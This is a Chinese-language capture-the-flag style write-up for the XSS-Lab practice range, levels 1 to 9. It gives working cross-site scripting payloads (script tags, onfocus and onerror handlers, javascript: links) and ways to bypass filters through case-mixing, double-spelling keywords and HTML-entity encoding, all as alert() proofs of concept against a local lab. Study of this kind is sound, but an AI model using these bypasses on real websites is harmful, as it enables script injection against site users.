0%

XSS-Lab 靶场题解 (持续更新中)

XSS-Lab 题解

XSS攻击

XSS攻击的本质是恶意脚本在受害者的浏览器中被执行。攻击者通过在可信网站上注入恶意脚本,当其他用户访问该网站时,这些脚本会在用户的浏览器中执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
js代码能够执行的部分场景:
通过script标签执行js
<script>alert(1);</script> //直接嵌入script

如何通过事件执行js?
<input name=keyword value="" onmouseover="alert(1)"> //通过事件属性值传入script字符串

如何通过超链接执行js?(js伪协议)
<a HREF="javascript:alert(1)">aaa</a> //超链接

伪协议中通过html实体化编码后js代码是否可以继续执行?
或者:<a HREF=javasc&#114;ipt:alert(1)>aaa</a> //html实体转义

如何通过图片标签执行js?
<img src="x" onerror="alert&#40;1&#41;" //自动执行js

Level 1

1
http://xss.local/level1.php?name=<script>alert()</script>

Level 2

按照第一关的方法,无法执行

html实体转义

HTML实体转义是一种将特殊字符转换为HTML实体编码的技术,主要用于防止XSS(跨站脚本)攻击和确保内容在网页中正确显示。

HTML实体转义是指将HTML中的特殊字符(如<、>、&等)替换为对应的实体编码。这些编码以”&”开头,以”;”结尾,浏览器会将其渲染为原始字符而非HTML标签。例如:

  • < 转义为 &lt;
  • > 转义为 &gt;
  • & 转义为 &amp;
  • " 转义为 &quot;
  • ' 转义为 &apos;

通过闭合的方式进行绕过:

1
">  <script>alert()</script>  <"

Level 3

onfocus事件绕过

onfocus 是 HTML 元素的一个事件属性,当元素获得焦点时触发。攻击者可以利用这个事件来执行XSS攻击。

1
' onfocus=javascript:alert() '

之后再次点击搜索框,触发onfocus事件

image-20250715135913299

Level 4

只是闭合方式与3不同,改为双引号闭合

1
" onfocus=javascript:alert() "

image-20250715140254821

Level 5

a href标签法

href属性的意思是 当标签被点击的时候,就会触发执行转跳到另一个网站,我们还可以触发执行一段js代码

1
"> <a href=javascript:alert()>xxx</a> <"

插入后的源代码如下:

1
<input name=keyword  value=""> <a href=javascript:alert()>xxx</a> <"">

image-20250715141036095

Level 6

尝试后发现都会被过滤:

image-20250715141433461

尝试大小写绕过

1
2
"> <sCript>alert()</sCript> <"
"> <sCript>cOnsole.log("2023141530150")</sCript> <"

image-20250715141658121

Level 7

尝试绕过了哪些关键字

1
" OnFocus <sCriPt> <a hReF=javascript:alert()>

image-20250715141824995

发现onfocus,javascript,href都被过滤,同时进行了小写转化。

由上述结果可知,服务器会将on,hfef,script删掉。可以利用双拼写绕过。

比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on

比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script

1
"> <a hrhrefef=javascrscriptipt:alert()>xxx</a> "

image-20250715142640073

Level 8

测试过滤哪些关键字:

1
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

image-20250715144101673

把双引号也给实体化了, 添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、”

解法:利用href的隐藏属性自动Unicode解码,插入一段js伪协议。针对javascript:alert()进行Unicode编码

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

插入到链接中:

image-20250715144442282

Level 9

1
javascript:alert()/* http:// */

编码后:

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

image-20250715145126638